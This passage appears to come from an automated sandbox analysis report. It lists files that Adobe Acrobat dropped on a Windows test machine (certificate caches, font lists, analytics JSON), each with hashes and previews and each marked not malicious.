SHA-512:	F47A5A9B32086A53B5844DBD251316B6A8B433A24694C55BB364AE1B9559DE7EBEF1B4FB4B0B71A7E45815D13F3F7EC3BD844A2195E2CD0BA530FFB8792B49F1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7664913197339662
Encrypted:	false
SSDEEP:	48:7MPJioyVVioyfoy1C7oy16oy1rKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oc:7IJuV5uXjBi6b9IVXEBodRBkA
MD5:	08989775CA8124465BFFD64511D0A327
SHA1:	B72ACB4B3614A7CBA6D4D5081B2FB64A456E3D03
SHA-256:	EEC10C31972DFFAB8DA0F9ADE09350A2D5FE527C725FB1FA42412C762D2AA02C
SHA-512:	4215BBDA2133D65D4F4FEDBB5E98771ACCF93DDE4DB8F390FD0FB08905C130EC07983DEC7B55EF269BB868F56C0F3568A1F7A20A4BCCA6487F0181F1B5762514
Malicious:	false
Preview:	.... .c......t.b...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklQPEGL/tfllXlE/HT8k8QJ/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKJPvL/eT8aJ7NMa8RdWBwRd
MD5:	255CDCC9AEB434AEDCB4156BD68A9E5F
SHA1:	5638198FB668D73213D18B1BF8574CB81CA1DE82
SHA-256:	9E6EF05F5682D295C17CB89804E5177876FA8CF6AFF4C4CA315C1CB7CD8A41DB
SHA-512:	A72E4C5474DC911889156406977C89CF0445C1F8557A54C335ECD47EA22CD2BB272C7A1AA44E1BBD5EAA9374A3997179C164EE2372F65ACEC552CC9CF0060E4E
Malicious:	false
Preview:	p...... ...........`.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.226999230143312
Encrypted:	false
SSDEEP:	6:kKneoL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:PjiDImsLNkPlE99SNxAhUe/3
MD5:	0F19C6EAEDC9AA5246C3B98DCE496549
SHA1:	7D1AA915A1B26CD207C0C878C0FD1E307E7F6E9E
SHA-256:	14B7886E9FD9A930DB69C9B4C098007B3D879FFCCB2A94B02E7669D4FB151415
SHA-512:	CBB100E756AB5C178C21383BD1CCE607936FE6452A02765C9B2AA69173E0BE5E67A1A70A961B87D63ED79DF906DD8392B6440E4A5341C8CA76A583D541B01D44
Malicious:	false
Preview:	p...... ..........{r.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355685223625909
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJM3g98kUwPeUkwRe9:YvXKXzH+q0LV0cOGMbLUkee9
MD5:	F966103EFB0E131ED740C18D9E17C128
SHA1:	ACD2D9EA927BA716DC2E81D64DCE64F13BF18564
SHA-256:	A970850477BE678FF883CD4B54577EA6D041B7D037E927C7F38063CA0999B3E6
SHA-512:	C40E8074E353C9363E82FF0B25AB7C452EA4F12FBDB2C32A82DDCED20D085770487E01567694BC21A51AFD9ED35ADFFD922B97CC69AEB960932E16EF95143193
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306103988793284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfBoTfXpnrPeUkwRe9:YvXKXzH+q0LV0cOGWTfXcUkee9
MD5:	A66136A6407F7F999CCB1F7411C3B5C3
SHA1:	0420EA056A5EB062F1A86442927D43FB44473AE6
SHA-256:	8D6D2B5A35F81994C6BD26932171741A322418355F19AB951C18F6B496B051E9
SHA-512:	A2C0D82E03C04137CF1BFF3F9E83BFDF88CCA16E382249B84D3416882DBEC2FD9629F5891FC7244AEAD8217C6CFE4F9C4DFBEFFE09577BBFB7009A139E147D8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286121705609643
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfBD2G6UpnrPeUkwRe9:YvXKXzH+q0LV0cOGR22cUkee9
MD5:	011589E6673CDDD133FD2A34DA49609D
SHA1:	ED3C6F451337A7D2D45A550CB900D0CDAE939FFD
SHA-256:	BD327BB1624250AD868D76B5502DF3CACFB9AA1AAA922698C058D34A61B66C02
SHA-512:	020349FBCE4E82E84809C096F6646A6806408BF5DAE6E4B1CDD9D1DFADD04BAE0A3E9F63FFAE677377A04729BEB2DD838F1893F7699E892FAC719AA9588D31EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.335438390072609
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfPmwrPeUkwRe9:YvXKXzH+q0LV0cOGH56Ukee9
MD5:	F3193A91C254B93AA7E9C501308E0407
SHA1:	E9DD9EC256BE8743E1CB85DFD8FB48DF95ED664B
SHA-256:	5B861DBBF66AEA01D6AF4BECA512B894E43E6DD853F95606EAB966DCF79F407C
SHA-512:	2EAFE27772D30F22F98473D59B73D8C498DBB6F945E6FAA1D662710214C0F82109F2C6C37E09A3FC199E56CC56C0AEF6AC27A47314779BD00BE03A4153D9C27A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686902089953622
Encrypted:	false
SSDEEP:	24:Yv6Xzeq0hZ7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:YvkQhgy6SAFv5Ah8cv/h
MD5:	6A6353FA5A257EF92306E9DEC02CC320
SHA1:	A6F28A63858226CB05F7DEDA4E4D0FFF0463F78D
SHA-256:	AC6FCB49E752076CC75C336B2B407665D9D1878506375E1C1D28824F8EC38768
SHA-512:	0059FCC2E8B5DC55C2CBC08628E6DE92AB8FED3AB4DD2555A95DA8DC363713E4D10D041F769BCBAA22C2F8D238BD8EBD098D060127BAFFBD21CAC9F65FF4767E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282773691924953
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJf8dPeUkwRe9:YvXKXzH+q0LV0cOGU8Ukee9
MD5:	18628769DAA80195A05765FCDA92CC34
SHA1:	529C54B2D74824F571CBE4E3A8FCA373B9A5E4C6
SHA-256:	22E0D257060F7D1F3165CF8CB19AA60FD7DE06D383EBAE82854818ADA7A2D7D8
SHA-512:	293BBAAF0CC62FC73FAB8906D54DE4FEFCCC842A67AD3AD52E5455406AC4D31AB902E9762E2DF2E95C6A7FBBE8F198039AC7435B9AB464D547FF9D8EDD025C02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.285068141008232
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfQ1rPeUkwRe9:YvXKXzH+q0LV0cOGY16Ukee9
MD5:	D5AFB6B87E2C3C10FD6F38C6674DC46D
SHA1:	1B5C53717AEB20BA3ADA0761EC8DAC4FC03BCFE8
SHA-256:	D9F6AFB34D5941FF5F6AA4F5D0DD8F28D53A79E55CBDF5F1542DC7CEE6209212
SHA-512:	3DA0FA2C8DA3E9CC57968C389E6D49211E5575D1735F5E39348BE92651E2938982AF317ECCE17517A6648C2D83A118E934C63184F8CB376A347566712674560C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291366477113692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfFldPeUkwRe9:YvXKXzH+q0LV0cOGz8Ukee9
MD5:	E7A2796F9374475D67C9AB2EC7AD92B6
SHA1:	55562A9091D9EBCAAB4C9F97CC015B64D3251115
SHA-256:	DB9F4CEBAC2D3EBA9162BFBA661F11D0CABE1527610465A4CE2650B1A4A53EB7
SHA-512:	4C4CFD0EAF94808592259A6D3ACE592E79A67D37F31F319379EB76CE0886C5B99A0921A033C4583E36B63F4364063E9EA724766AB478E01BF9B3C20656CD916A
Malicious:	false
